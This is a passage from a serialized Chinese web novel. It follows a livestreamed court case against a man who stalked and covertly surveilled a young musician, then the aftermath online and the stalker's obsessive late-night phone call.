他像一只藏在木干中的蠹虫,一点点蚕食起纪羽的近闻。 和纪羽有关的人,他也在一步步摸索着靠近,第一个,就是曲坚。 曲坚浑然不知受到了窥视,他时常会看承风的演出,在监控下点评分析起他的关门大弟子。 “我在无意中发现了我和纪羽原来还有这样的关联,觉得很有缘分也就不知不觉关注起了他,可能是确实太多年没见,也不知道该怎么相处,隔着屏幕看他让我有点粉丝情结,想和他拥有同款,又比较关心他的动态,所以……真是有点不好意思,我那时候确实想得太简单了。” 莫满依旧诚恳,带着些微的歉意和恰到好处的落寞。 他没把握好分寸,好心办了坏事,这都情有可原。 就算剖开他的心,也不能判别他说了谎。 纪律抬眼,目光如冰针锋芒毕露:“是吗。” 纪羽紧了紧被子。 纪律向律师示意,一段音频开始播放。 “喂。”是贺思钧的声音。 另一个男声道:“你在找贝斯手?” 一段关上门的声响后,贺思钧声音再度响起:“……你是曲坚找的人?” 电话另一头意味不明地笑了声:“这活我接了。” 电话由此挂断。 莫满嘴角微僵,通话中录音会有提示,贺思钧不可能在接起电话后就录音,这段音频是从哪儿来的? 下一秒,白幕上映出音频无剪辑伪造的鉴定文件,声纹对比结果显示另一方为莫满。 “被告,你承认这段音频里的声音是你吗?” 这段音频或许不能作为直接性证据得到承认,但对直播间上万只眼睛来说,已经足够颠覆。 【好割裂啊,莫满在电话里表现出来的态度完全不像是“近乡情怯”吧,我起鸡皮疙瘩了……】 【电话里另一个人是谁啊?】 【我知道我知道,是阿雀的朋友或者说助理?反正从出道开始就经常能看见这个朋友跟着,所以这里是阿雀不能登台所以这个朋友请人临时补一下,结果就接到了莫满的电话,但这里莫满不应该和阿雀有任何联系才对,更不可能知道他朋友的电话吧。】 【好私生的行为……我感觉有点吓人,根本不是莫满说的那种误会小摩擦吧。】 【屏幕翻页了,莫满还拍后台照了??纯挑衅吧……】 【如果没有音频在先,这个图否认掉也很轻松啊,莫满其实一直在撒谎吧。】 “被告的亲生父亲近三年来参与了七个项目的投资,其中也包括了去年的乐队比赛,被告作为投资方的儿子通过后台人员获得参赛选手的资料恐怕不是难事。” 莫满眼角带过梁晟杰黑沉的脸:“这也只是猜测罢了,不是吗?” 纪律不紧不慢:“很幸运,我们找到了当时的一位工作人员,他刚好和承风的键盘手贝旬是朋友,而也刚好,他对你印象深刻。” 证人脸色苍白地上场,左边是似笑非笑的莫满,后方则是沉默的梁晟杰,温度适宜的法庭内,他衣领后背汗湿了一片。 “我……” 斜后方传来一道声音。 “钱锐。” 钱锐辨认出出声者的身份,缓缓吐出一口气。 法官:“现在告知你作为证人应承担的法律义务…… “……证人,你明白了吗?” “明白。” “请证人陈述你所看到或听到的与本案有关的事实。” 钱锐双手交握垂落身前,开始陈述:“我和被告莫满应该是朋友关系,或者更准确来说,是我想通过他能获得一些内推的机会……” 一石激起千层浪。 【我没想到还能和贝旬扯上关系????】 【信息从这儿就露出去了,谁能想到莫满还有个眼线插在这啊。】 【果然有钱能使鬼推磨。】 【贝旬好像来了……刚刚好像在旁听席有他声音…在正面镜头的右下角……】 【是我的错觉吗,我怎么感觉莫满面相已经变了。】 【面相学大师来了[吐舌]】 【兄弟、、人都是有表情的、】 【谁知道这个人是不是被买通了来栽赃的呢,我刚刚搜过了,大家可以去搜一下[纪律]这个年纪能有这个成就,他也不干净哈哈。】 【鸡翅姐自己直播间带节奏带不动还敢出来??】 【莫满眼神看得我都害怕了……】 “钱锐。”莫满面无表情,“我想我对承风好奇向你多问了几句不至于让你撒谎诬陷我吧?” 钱锐咬牙道:“我没有,我说的句句属实。” “那证据呢,你怎么证实我让你倒卖承风的个人信息给我,我是怎么让你从贝旬那打探消息告诉我的,你有录音录像吗,你没有,你什么都没有,你只有一张嘴,但一个人说的话是最不可信的,更何况你有私心。”莫满扯出一点讥讽的笑意,“是因为后来的项目你被踢出局了吧,所以你怪我没让我爸给你打点好,是不是?” “不是!”钱锐矢口否认。 在法官肃静的警告声中,纪羽看到莫满显露恶魔般嘴脸:“钱锐,你把自己看得太重要了,就算我需要做什么,为什么就得靠你呢?”—— 作者有话说:现实法庭情况肯定是和描写有出入的,大家看个乐就好。 第105章 “你……”钱锐抖着嘴唇, 他面向法官言辞激动,“我敢担保我说的都是实话,他分、分明就是拿我做工具, 他曾经还顶过我的班,对, 他肯定在一个人的时候动过手脚,去查监控,监控肯定能拍到他溜进休息室!” “证据。”莫满靠在椅背上, 手指敲在桌沿, “我替你顶班,你却这样揣测我。” 他指尖停滞, 像蜥蜴般扭头用无机质的眼神盯住猎物:“真让我心寒啊。” 纪羽漠然地看着这一切, 上挑的眼尾像抹刀刃。 镜头里外,分割两人相似的神情。 纪律若有所感, 向镜头投去一眼, 示意身旁律师可呈上下一条证据。 纪律:“我需要提醒被告一句,表演得太过可就不好收场了。” 几步之外, 莫满回视:“我的本意可没有要登台的意思。” 【人证真的很吃亏啊, 又没有能实锤的聊天记录,其实也不能说明什么吧?】 【就算莫满真是为了接近纪羽也就是阿雀用了点手段也没什么好指责的吧, 天龙人啊能把他怎么样,顶多说他表里不一, 另外说一句纪羽无论本名还是艺名, 都还挺符合金丝雀的感觉的……】 【求爱不成反被人告骚扰, 说出去在他们圈子里能笑死吧?】 【你们在演什么上流圈层???我还生活在现代社会吗,偶像剧看多了红苕稀饭没吃够是吧?这都能洗?】 【疑罪从无,从法律上来说就是无罪啊, 顶多道德层面谴责一下,有什么问题?】 【把法律当唯一评判标准的人我佩服。】 【这是在法庭上啊,好搞笑啊你们不用法律做衡量标准能怎么样,想道德谴责你就谴责呗,谁拦着你了,但是法律上莫满就是能全身而退没一点问题。】 随着更多观众涌入直播间,争吵也在逐渐升级,刘玉婷见风向偏转,立即登录微博账号发布新内容:【老子不爱吃鸡翅:[捂嘴][笑嘻嘻]我不怕哦,不知道某人现在怕不怕~】 纪羽从床边撑起身,左手不便发力,后腰又酸痛无力,他拉着床头把自己扳起,斜靠在床沿喘气。 背景音中莫满的律师在做辩护,字词铿锵有力,可以送进港岛剧中做主演。 通往露台的落地窗紧紧闭着,阳光再度炽热,融化了一片绿意。 …… “那被告如何解释,通过对贝旬先生手机中的隐藏软件反追踪,关联的IP地址与被告的行动轨迹高度重合的事实?” “我方高度怀疑被告利用我方当事人人际网,对其实行长期窥视、骚扰等行为,通过被告亲生兄弟梁子尧的陈述,被告自小便呈现出缺乏同理心、狭隘自私、虚伪贪婪的性格倾向,曾经因嫉妒将他推入水池,并且就在不久之前他就以身份便利,在《乐队象限》节目录制期间在多处角落安装个人摄像头,并在梁先生不知情情况下在其衣着中安装针孔摄像头。” “此外,在我方当事人履行学业期间……” …… 【刚刚说没犯法的人出来呢,好一招避重就轻,之前梁子尧说要告他的事也忘了是吧?】 【谁敢想象自己好好地上学,边上的同学身上带了个摄像头在偷拍自己……】 【梁子尧也不是什么好人,他敢说自己一点都不知情,从一个娘胎里出来的,能好到哪儿去?】 【莫满看他爹什么意思,没商量好?】 【就算没有梁子尧反水,光是在成员手机里安装追踪软件就已经够判了,不知道有没有偷听功能,承风私下聚会谈话不会都被他听去了吧?】 【我怎么感觉莫满自己也没想到会被抓住软件这一回事,毕竟这不是什么实物,想撤走消除其实也不难,问题是怎么发现的又怎么反追踪的,看记录应该是在几个月前就开始做了。】 来了电话,铃声被阻挡在门板之外。 电脑开机,蓝光打在纪羽莹白的面上,一双眼尤其地明亮。 屏幕中央躺着一封邮件,发件人规规矩矩地写着贺思钧的大名。 里面的内容与展现在直播中的证据分外相似,只是更为粗糙。 发件时间在一个半月前。 纪羽发现这封邮件时是在高考结束后的第三天,那几天他总做梦,梦到上一个夏天的末尾,贺思钧托着他的脸亲了他一口,非常地不合时宜、冲动,在这之后,他还说了很多胡话。 男人的话向来是不可信的,更何况是一个未成年小孩的话? 纪羽本想骂他活该,但思来想去,贺思钧好像也没有到罪大恶极的地步,要在这样紧要的关头离开。 李玄还为他参加高考的事情打了好几通电话,另外问他有没有办法把贺思钧劝回来,纪羽连乔青燕的电话都打不通了,他实话实说,说他没办法,他联系不了。 李玄叹了长长的一口气。 那口气堵在了纪羽心里,他睡不着,晚上装睡骗过纪律,他爬起来写曲子,写得乱七八糟七零八碎,他有点气愤,笃定了他对贺思钧没那方面的感情,否则情场失意,在失恋的温床滋养下他还能没有灵感可迸发? 即便写了一团糟,纪羽还是把这些片段整理、归纳,扫描成文件准备用邮件上传备份。 这时那个邮箱里鲜红的小点就显得格外瞩目。 贺思钧的名字再度出现无异于诈尸。 他点进去,来不及看内容就发了许多邮件。 【你去哪了?】 【我查不到你的高考成绩,你应该没有考进前五十被屏蔽成绩吧,我成绩比你好一点的。】 【你有发邮件的时间不知道发消息给我吗,为什么不说一声就走了,我现在出不了家门,你在哪里?】 【贺泰安是不是逼你去当兵了,你在不能通网的地方吗,边境还是内陆啊?】 【你没毕业拿不了高中文凭的,现在找工作都不要初中毕业了,你早点回来还能领毕业证。】 【你上次给我的钱我不是让你拿走了吗,为什么还在我枕头底下,你跑路也得花钱的。】 【如果你真的真的已经进去了就别跑了,人家得全国通报批评你,你有时间偷偷回个信息就好了。】 纪羽发完这一串才看到发件日期,五月初的邮件。 0:00:00。 好像还是自动发送。 好蠢,就算能上网应该也不会看邮件吧。 但这封邮件切实地让纪羽安下心来,至少他知道,贺思钧是对现状有所预料的。 纪律看到这封邮件时的表情和莫满此时一样精彩。 休庭十五分钟。 梁晟杰面色铁青地离开,地中海在打电话,律师翻着原告递交的证据材料,订书钉松散,纸张散了一地。 莫满坐在那,没一个人在看他,他盯着不远处闪烁的红点,法庭混乱而忙碌,时间在他身上静止。 【这要并入刑事案件了吧,至少进去蹲两年。】 【他干嘛一直盯着摄像头……好诡异…】 【全场都在为他忙得起飞,他好像很轻松,只要坐着就行了。】 【天龙人的自信吧!】 【这逃不了了吧,要是没答应直播还行,公开审理就没有给他留下钻漏洞的空间,直播间人数已经破20万了,这还是在有营销号切片同步上网的情况下,实际关注的人得翻几倍。】 【热搜已经上了,雷暴云还是爆啊,别人拘留,他们有坐牢的[棒]】 【求解绑,本来就是硬塞的,能别什么都算在雷暴云头上吗?】 【哟,不是当初炒热度的时候男模乐队,小可怜宝宝了,当初和承风撕逼的那个劲儿呢?】 【其实莫满没觉得他错了吧,直播审理是要双方当事人同意的,他从头到尾的态度几乎都没变过,他就没认为自己不对,怪阿雀不接受他,怪承风不坚定拒绝,对上人证也能脸不红气不喘……】 【不知道该说他心理素质好还是变态……】 【要他承认错误可能比杀了他还难受吧,我有个同学就是这样,他得不到的东西就是别人欠他的,他会用任何手段去抢,而且永远意识不到在别人眼里他是什么样子,属于极度的自恋。】 十五分钟即将过去,众人回到原位,莫满扭过头去,旁听席上梁晟杰的位置仍是空的。 他表情骤然阴沉,起身斥问道:“他为什么不回来?” 地中海浸润在他阴冷的目光下也不由颤冷:“他出去打电话了,你别急。” 这个在他眼中永远优秀温和的继子突然变了面孔,眼神阴毒狠厉:“把梁子尧叫来。” 地中海抹去脑门上的汗液,头顶像被抛光过,锃亮。 “把你弟弟叫来干什么……” “让他来承认自己的所作所为,他也是帮凶啊,他以为倒戈向纪羽,他就可以清清白白了?我要让所有人都看看,梁子尧是个什么样的人,他也配做证人?” 地中海看着他眼中毫不掩饰的嫌恶,不由升起怒意:“他是你弟弟,你何必把他也拖下水!” “莫海勇。”莫满不顾劝阻一步步逼近旁听席,“你要选他,选梁子尧那个蠢货?他姓梁,梁晟杰和他一丘之貉,他跑了就跑了,你呢,你这点小生意,知道是因为谁才做起来的吗,你为那个冒牌货说话?” 话音未落,莫满便被横来一拳打得偏过头去。 贝旬沉着脸再度挥拳。 法庭乱作一团,辽光扒开人群,高喊:“让让,让我来,老子看他不爽很久了!” 法警从四面涌进法庭—— 作者有话说:最近几天在搬家,忙晕了,如果今晚能再赶出一章来就不请假,要是没写完可能得请一天,如果请假会提前通知的[眼镜] 第106章 在法庭门前看到熟悉的铅灰色商务车, 纪律第一反应是不可置信。 他走过去,敲了敲主驾驶的车窗,然后退开几步, 保持了安全接触的距离。 车窗降下一条缝,露出徐梁为难的神情来, 纪律越过主驾看到后排靠在车门边的纪羽。 “您怎么让他过来了,车里内循环开一下加空气净化,他出来前吃了药没, 口罩也没戴, 这儿都是人,细菌顺着风能飘几十米, 他昨天刚做检查……” 移植手术后三个月内仍是高风险期, 半点闪失都容不得,纪羽身体本来就弱, 有基础病再加上免疫异常, 如果不是医生劝阻他可能对患者心理健康不利,纪律绝对会说服纪泽兰和徐梁将纪羽彻彻底底地隔离起来。 拥抱、握手、面对面交谈这类接触通通被划入高危范畴。 光是回想纪羽高考结束当天和朋友的拥抱都让纪律头皮发紧, 更不必说是到人群聚集的场所, 万一病毒或是有害的细菌从纪羽不小心打开的车窗、从车辆外循环系统中进入车内,后果又会是怎样? 即便徐梁解释纪羽只是想出来看看, 车门和车窗都上了锁,并搬出医生可以循序渐进地接触外界的建议也没有缓和纪律的情绪。 “爸, 你不能确保纪羽处在绝对安全的环境下就不应该给他太多自由。” “你吵死了。”始终显得无动于衷的纪羽终于忍不住出声。 他有段时间没修剪的额发垂下遮住眉毛, 黑发衬着病殃殃的苍白肌理, 瘦弱的肩胛透出单薄的骨感,乍一看去倒显得雌雄莫辨,孱弱中拧着拗劲。 他的眼神里反映着令人不安的心性。 纪律的思绪在这一错眼中被拉扯为两极。 一极烈火烹油, 叫嚣着让纪羽认识到问题的严重性,让他看清自己有多脆弱多任性,脱离人的管教就毫不顾及自己地妄为。 另一极理智不断浇着冷水,他意识到自己的情绪过激,或许比起纪羽伤害到自己之前,他的行为就会酿成又一场惨剧。 停药的后遗症汹涌地反扑,胜利的喜悦他丝毫不能体会,只有愈发膨胀的掌控欲不断肆虐,又在本能的警戒下缓慢消退。 时间流转回纪羽拿着刀抵在脖子上那一刻,那陡然暴涨的控制欲令他无比清醒。 ——纪羽本可以更安全,更健康、更快乐,只是他放松了警惕,给了无关紧要的人可乘之机,所以才落得这个局面,如果从一开始他就打造更严密的保护网,纪羽的适应力很强,他听话又依赖着自己,从他还没理解这个世界的时候就收拢掌心要驯服他就容易得多了。 从小就剪去飞羽的小鸟不会想着飞走,只会日渐一日地表达亲近。 这不是一个正常人面对要自杀的弟弟应有的反应。 一个拥有如此偏激念头的人该尽快远离已经狼狈不堪的纪羽。 远离,是减少伤害的最后手段。 别人家的兄弟似乎不会像他们一般相处——仅仅走到相看两厌的地步已是尽了全部努力。纪律不知道他该如何看待纪羽。 大概从一开始,他的角色就已经错乱。 他不该是纪羽的父亲母亲,不能是纪羽的老师,更成为不了纪羽的领路人,也承托不起纪羽充沛又敏感的情绪。 他眼睁睁看着纪羽扼杀他习以为常的需求,他本该有许多挑剔,但通通被放置一旁,屏幕里呈现的纪羽似乎更像是一个完美想象后的产物,坚韧、包容、吃苦耐劳。 一个过于敏感的人轻易地漠视对他而言危险的因素,本身便是一个需要警醒的信号。 以至于到现在,他仍需为成为纪羽的某人努力。 纪羽对除他自己以外的人的评价总是很准确。 他否认纪律在情感上的正统性,却认可纪律在工作处理时的专业度。 他将这件事交给了纪律来处理,他来验收成果。 “我又不是来看你的。”纪羽眼睛愣是一眼没向他身上停,目光穿梭在人群中,“我队友呢,他们没事吗?” 纪律收敛心神,冷静道:“要看莫满受伤程度和法官态度如何,扰乱法庭秩序可大可小,情节轻一点就是行政处罚,罚款或者拘留,要是莫满右耳耳膜穿孔,眼角膜破裂,那他可能进去蹲几年。” 纪羽一听,这还了得,忙扑到驾驶座后,急声道:“不行,贝旬不能坐牢,他以前从来不这样,他脾气可好了。” 纪律又退开两步,从口袋里拿出酒精给手消毒后戴上口罩:“但他确实做出了非理智的行为。” 看完他这一套动作,纪羽眼皮直跳,怎么好像他成了病原体,语气不善:“他不是故意的!” 纪律眉头一挑,看着徐梁倒下靠背拍着纪羽的背顺气,内心莫名不平,好像他的父亲抢了他的位置似的:“一个成年男人的手误触击打到另一个人脸部的几率很低。” “……那是因为莫满本来就欠打,贝旬在替我报仇。” “难道报仇的方式只有这一种?你知道这不理智。” “那是因为你是胆小鬼,”纪羽提声道,“你欺软怕硬,只敢对我指手画脚,对别人你就公正客观了!” 人好像总是这样,对陌生人更宽厚,对亲近的人却百般挑剔,偏偏这是纪羽最无法容忍的,纪律却还连带着攻讦他的朋友。 可贝旬的出手分明是关于他,他难道也要做出一副公平公正的虚伪面目来? 纪羽倾身解开车窗锁,降下后窗,对纪律臭着一张没什么杀伤力的脸道:“我本来还想你今天打官司辛苦了,晚饭一起吃也可以,结果你每次都要这样,你有一次是完全站在我这边帮我的吗?” 七月,宁海正式进入高温,热浪翻滚进入车内,打得纪羽一个恍惚,语势却是不减:“当初我明明没有要贺思钧下水,我找你救他,你也要罚我,小学我和别人吵架你也不帮我,你就想着体面、体面!你以为干妈会因为贺思钧跳进水里心里有芥蒂,以为那个小孩被你吓到之后我会养成仗势欺人的习惯,你总是不想我是怎么想的!” “……小宝。”徐梁听得皱眉,“老大他——” 纪羽:“爸爸你不要说话!” 纪律:“爸你不用说话。” 纪律深吸一口气,尽量让纪羽能体会到他真切悔改的决心:“我知道我从前做得不对,让你伤心了,但我保证,之后不会再发生了,好吗。” “屁,你刚刚还在说我不理智!” 纵然再努力靠近,思考方式上的鸿沟也始终抹不平,纪律少有地体会到百口莫辩的滋味。 “我的意思是他的行为不理智,我没有说你的意思。”纪律尝试把自己的想法传递过去,“如果他能忍住不当庭动手,至少影响不会像现在一样大,更不会让你生着病还要记挂他。” 意识到纪律的考虑和他心中所想有些偏差,纪羽嘟囔道:“但事情本来就和我有关系,他也是受害者。” 纪律说:“他本来可以是更纯粹的身份,承风也是。” 纪羽看着他,眼睛一眨:“那你帮帮他,帮帮承风,也帮帮我。” 纪律怔然立在那儿,他不明白纪羽刚才还气狠了似的,这会儿却又撒起娇来,他作为纪羽的委托人尽职尽责就足够,替其他人辩护又算什么,这不在他的工作范围内。 纪羽半点没意识到自己在撒娇,他热得脸红,薄薄一层血色浮在脸侧,不分出一丝一毫余光给旁的,只紧紧地盯着纪律。 聚精会神间,恍惚听到有人在叫他,纪羽才想扭头,就听纪律走近两步,占据了他的全部视野,答道:“好,我联系人替他调解。” _ 刘雨婷牙龈咬得出血,就在刚才,她的所有平台账号都被封禁,她连一条消息都发不出去,要知道她还有余额在账上没有提现! 纪羽的好哥哥、好走狗才找过她,她就遭了这厄运,是谁从中使手段,已然很明显! 过去一小时她拨通了所有客服电话,得到的只有账号内容违规不能解除屏蔽的冰冷回复。 她要怎么办,她还有债没还,旁人都没有像她这样的好运气,她靠发帖吸引了公司签约,手下还有好几个全娱乐账号,可是所有的账号都没了。一旦公司发觉一定会和她解约,可后天就是还款日! 为什么要这样对她,他已经赢了官司了,网络上一片叫好,他得了名声又扫除了障碍,就算从前受到些骚扰现在又算得了什么?他已经这么好过了,为什么还要来清算她! 废了“鸡翅”这个账号还不够,他要毁了她的生活! 扭曲的愤怒腾然而起,刘雨婷头脑一阵眩晕,恍惚间她竟看到不远处纪羽的面孔。 错不了,她对着模糊的视频与节目截图比对过无数次,纪羽的五官、轮廓,她一清二楚! 还有,还有那个叫纪律的男人也在,他连车都没上,居然只能站在车外和纪羽汇报。 这一切都显而易见了,是纪羽的指使,他明明没事儿却谎称身体原因无法出席,他就在幕后享受着胜利的喜悦,收割着她这样的可怜虫的痛苦为乐。 一股强烈的冲动促使她捡起花坛边松动的砖块向着纪羽急速靠近,看着纪羽的面目在眼前清晰,心脏在耳边砰砰,她竟有些分不清这是紧张还是兴奋。 “别动。”两边突然窜出一男一女,架住了她的胳膊,手腕受到扭折而脱力,砖块落在地面裂出蜿蜒的缝。 刘雨婷剧烈挣扎:“你们是谁?!” “警察,这是证件。你涉嫌网络诽谤、造谣,从现在起,你的所有行为将受到监管,刚刚你进行的直播已经被录屏提交检查,跟我们走一趟吧。” “我什么都没干!是他,是他故意激我的,你们被他引导了!”刘雨婷大喊着,努力挣脱束缚,双肩却被挟持着收紧,她听到警察在说什么传播谣言,她没有,她只是说了她心里的实话。 纪羽就在她眼前了,她可以找他对证,她不甘心,声音尖锐地叫出纪羽的名字,她不明白! 纪羽!让纪羽过来!让他们都看看他的真面目! “闭嘴,不要引起围观,马上走。” 刘雨婷被彻底架起,脚跟在地面划出道道蜿蜒黑痕。 “纪羽!救……!” 她的嘴被捂上,视线中的纪羽随着车门关上彻底不见了。 第107章 纪律余光中注意到那女人已经被带走, 才在纪羽的催促声中离开。 到了晚上,他才明白过来纪律口中的影响是怎么一回事。 #细数那些年那些乐队的离谱行为# #摄像头偷窥最高可判三年# #承风手撕剧本# #《乐队象限》复播# #雷暴云宣布解散# #跳窗户被封杀# #梁晟杰莫满梁子尧是什么关系# #莫满被拘留# #莫满被打# #本名纪羽艺名阿雀# #网络清朗活动# …… 纪羽其实很想和大多数网民一样发问,热搜上这些人都是谁啊? 【不踩瓜不甜(267)】 【雀雀乐:[分享链接]】 【雀雀乐:这条再加热一下, 马上破十万转了!】 【一脚踢爆番茄:这张脸完全是神作,我亲眼看着热搜一点点爬上去的, 全是自然流。】 【别说她是男人好吗:[视频.mp4]】 【别说她是男人好吗:请看!有人录了视频!】 【老天奶不公:我立即来舔!】 如果纪羽点开有关于自己的热搜,就会发现热门推荐中看到这条万转博文。 是他在法庭外被拍下的照片。 降下的车窗恰好成为最完美的展示框,低曝光下少年黑发白肤, 脊背清瘦, 微抬的下巴令脖颈更加纤长,从爆满额角到收紧的颧骨, 无一处线条不流畅, 下颌皮骨贴合,轮廓精致而优美。 像通过上千次调整所捏合而成的模型, 精巧到隐约显出非人感, 但眼珠灵动,透露那一丝若有似无的强撑的娇纵又极妙地冲淡了攻击性。 没有一张与镜头对视, 却恰到好处地保留了距离感。 匆匆一瞥, 令人惊喜的漂亮。 热评:【神迹……】 【老婆你有什么事你就和老公讲,不要在外面对别人露出这种表情来, 你长得这么漂亮别人喜欢上你让老公怎么办?】 【啊……刚吃完瓜还在想莫满的动机到底是什么,现在我懂了。】 【难怪要把脸遮起来, 不然就冲这张脸承风也得被投到冠军。】 【不踩瓜不甜(267)】 【每天一杯奶茶:点点安利内容, 把造黄谣的点下去。】 【我的人生风风风风风雨雨雨雨雨:终于胜诉了, 感觉宝宝精气神都好了。】 【人生几多丈夫:衣服大得我都能钻进去了[可怜]】 【抬头赤壁:莫满坐牢、鸡翅被封、我宝宝一组照片出圈,不敢想日子还能有多好[美滋滋]】 【雀多多:提醒一下,虽然不知道鸡翅大妈炸号是不是跟清朗有关, 最近在外面发言小心点。】 【雀多多:要是能再让我看一期新的妻子回忆录就好了……呵呵,乱码哥你不更就把素材都发出来[微笑]】 【别说她是男人好吗:招魂[蜡烛]】 【老天奶不公:我为我曾经磕过梁子尧和小羽道歉…我眼光真的很差……】 【别说她是男人好吗:没关系,瓜而已,吃一口丢了也没事:)】 【爱干嘛干嘛:莫满好像在国外申请了学校,有人发邮件给校方了,校方说正在核查,这种情况会被退学吧?】 【一脚踢爆番茄:活该啊,我鸟人美心善,夸两句都能拐跑了,他非使这种手段,能怪谁?】 【一脚踢爆番茄:就算有精神病也洗不了,这不是突发性行为,他在牢里好好待着吧。】 【抬头赤壁:判了三年但是实际应该不用坐那么久吧,他一出来宝宝才二十出头,我已经开始焦虑了……】 【人生几多丈夫:不是有他哥哥吗,感觉哥哥还是挺负责的。】 【每天一杯奶茶:要负责就不会让我宝受那么久委屈了,砍砍砍砍砍!】 【老天奶不公:阿雀是在和哥哥讲话吧,萌死了……哥哥每天对着这么一张脸不敢想有多幸福……】 【老天奶不公:之前那个偷拍视频我只敢看一遍,根本没心情欣赏脸,今天是真的大受震撼QAQ 】 【每天一杯奶茶:看到我宝宝这样的脸,黑子还忍心骂他吗[生气]】 【抬头赤壁:想起那个论坛楼了,嫉妒死了老婆离那么近对她笑,呵呵把本老公放在哪里?《乐队象限》到底能不能播啊,出来!我要去看承风现场!】 【一脚踢爆番茄:番茄不会放过这个赚钱的机会的,就算挨骂也会开,就看剩下的乐队态度了。】 【人生几多丈夫:其实我有点不明白,既然莫满已经偷偷看了很久了,为什么要在最近爆出来,这不是一查就很清楚吗?】 【我的人生风风风风风雨雨雨雨雨:不要揣摩变态的想法,谁知道他是不是有绿帽癖。】 【人生几多丈夫:也是。】 凌晨四周万籁俱寂,纪羽从炸响的铃声中醒来。 挂断一次,两次,三次。 陌生来电仍在响起,纪羽彻底失了困意,接通了电话。 “我是梁子尧。”电话那头的人说。 纪羽:“莫满,别撒谎了。” 莫满沉默一阵,发出一道极轻的笑,似乎已经恢复了往日的松弛。 学了七八成的音调再开口时也改了回去。 “没想到你这么快就认出我了。” 纪羽坐起身,手机放在枕边开着外放。“梁子尧不会在我挂断后连环call。” “抱歉,”莫满道歉说得很轻易,“毕竟我已经走投无路没多少自由时间了嘛。” 莫满的理智在岌岌可危的边缘上,以至于连假装放松都显得刻意,纪羽勉强捡起继续通话的兴致,淡淡地回应:“那不是你自找的吗。” “视频不是我泄露的。”莫满说。 “……” “你觉得这很重要吗。” 纪羽忍不住讽刺:“对你来说可能很重要,但对我来说不是,相反,如果不是那个视频的出现,我都不知道还需要多久才能抓住你。” “跳窗户的主唱想一石二鸟,他偷走了我的备份。”莫满自说自话,“我被人支走了,如果当时我再小心一点把储存卡带着……” 纪羽打断他:“没有如果了。” 莫满说:“……纪羽,我以为你能理解我。” 纪羽反问:“我为什么要理解你?” 莫满却像已经听不见他的声音,继续说道:“我们是同一类人,从我还小的时候我就发现了,我和其他人不一样。他们根本不懂我在想什么,不明白我真正想得到的是什么。无论我得到多少关心,物质多么富足,我的身体里永远有一块空着,你应该也有这种体会吧,你有非常渴望的东西,即便你能说出它的名字,你得到了所谓的它,你还是不能满足,你的心永远在蠢蠢欲动,对吗?” 漫长的沉默过后,纪羽说道:“我不想和一个罪犯相提并论。” 莫满的声音却加倍地温柔:“所以你能体会到我的心情对吗?” 他的生活里曾经闯入过一个与他无比相似的朋友——不是外表上的复制粘贴,他一向对自己的克隆体没什么兴趣,更不觉得他们在思想上同频过哪怕一刻。 纪羽很不一样,他听得懂他话中所有隐喻,排挤第三者的手段在他身上不奏效,以往这类游戏他玩过三天就失去了兴致,但那一次他却需要提醒自己这只是一个游戏才不至于像个失败者一样躺在地上撒泼打滚。 最终他竟真的失败了。 ——他不明白为什么纪羽的身边会有这样一个木讷无趣的朋友,明明没什么特殊,也带来不了丝毫乐趣,却还是占据着纪羽右手旁的最佳位置。 纪羽要回应他的话,要先转过半个身子,手腕会擦过贺思钧的手指——他们的手臂总是贴在一块儿。 而后莫满会对上两双眼睛。 他从没有成功将两者剥离过,一次也没有。 时隔多年,他才达成了这一个小之又小却埋藏在他心里多年的心愿。 他看着纪羽一无所知地放纵梁子尧的接近,在怀疑和惊怒中追着线索来到琴行,在演出时因为他的出现而慌乱。 他后来其实接触过很多人,他们或许有和他一样的困扰,但无一例外他们都太过自爱,连外表也不如纪羽看起来精致完美,实在令人兴致缺缺。 他没有刻意追逐纪羽,但纪羽又重新回到了他的视野,这难道不是命运对他仅有的馈赠吗? 但为什么,纪羽的身边,那个本该被疏离的人还在呢? 梁子尧那个蠢货过早地暴露,他总是急功近利,大脑中似乎没有留下一丝适用于思考的功能。 他像只闻到肉香就急切地上前摇尾巴的蠢狗,被人一脚踢开也不稀奇。 可惜的是,莫满少了一个完美无瑕的身份,以至于没多久,他就又被发现了。 不过,被认出来的那一刻,他的心情比想象中还要好。 纪羽必然会发现他,回顾他精心中充满漏洞的布置,纪羽也会理解他的爱吧。 他们对彼此而言,都是特殊的。 “……” 纪羽从未想过,在这夜深人静的时刻,他会听到来自一个疯子坦率又膈应人的告白,他认为自己从始至终的态度都明确极了。 即便他能理解莫满,他也不想理解,他又为什么要理解? 他的耐心、喜恶甚至于愤怒都不该再浪费在他不在乎的人身上,当日事当日毕,纪羽在莫满显得有些催促的语调里落空了他的期待: “通话的全程我都已经录音,这是我和你说的最后一句话。” “不……再等等……!” 在挂断的前一秒,莫满连声道:“你难道不想知道贺思钧在哪吗,还有你的队友,只要你愿意来见我一面,我就谅解他,还有,我会把我!” 纪羽按下红色按钮,一切归于沉寂。 床被铺得松软,纪羽翻了个身,用被子将自己包裹起来,对着门外的纪律说:“帮我关一下灯。” 第108章 节目复播是在大暑之后, 诉讼风波的讨论度还未消退,暑假的开机热潮又助推了节目重启。 承风一行人约定了排练时间,有人提前到了。 “那孙子还想坐飞机跑, ”辽光捂着口鼻喷消毒液,说话含糊不清, “真让他出去,脸都丢到国外了。” 他蹬一脚贝旬:“哎,你什么想法。” 贝旬划开包装膜, 偏身躲过压缩的沙发炸开:“我没想法。” “艹!”辽光捂着被砸到的脚蹦, “你还装上了?那天忍不住先出头的可不是我。” 贝旬只答:“就算他能跑出去也回不来。” 梁晟杰为了自己的名声考虑,自然保帅弃卒, 怎么可能让莫满逍遥法外成为他人生一大污点。 狠狠心, 还能得一个大义灭亲的好名声,只是远在海外的原配数次发文痛斥其品行不端, 再好的算计也落了空, 所谓才华、事业最后都被“家务事”搅和了个七零八落。 《乐队象限》却也因祸得福,考虑到其影响广泛, 讨论度居高不下, 继续录制的呼声不断,总卫视台接手了项目, 投资商新增一批,总导演被替换。 重新上线的节目风味实在正统, 虽然流失了一部分观众, 但却极大地安抚了已经形成的乐迷圈层。 争吵、高压、硝烟、对抗不断加深着负面情绪, 靠高频刺激感官、捶打观众敏感的神经而催使其对支持者绑定深刻的羁绊,带来超高讨论度的同时也在消耗那得来轻易的喜爱。 当激情褪去,还会有多少人会把目光留驻。 再开播的《乐队象限》比起综艺、真人秀, 更像是细水长流的记录。 没有刻意而为之的冲突,一切都自然而然。虽然也存在着许多弊端、受到诟病,但在狂热过后,已经在大众面前留下姓名的乐队只需要袒露真实的现状,自然会有人愿意更深入地了解他们所追逐的东西。 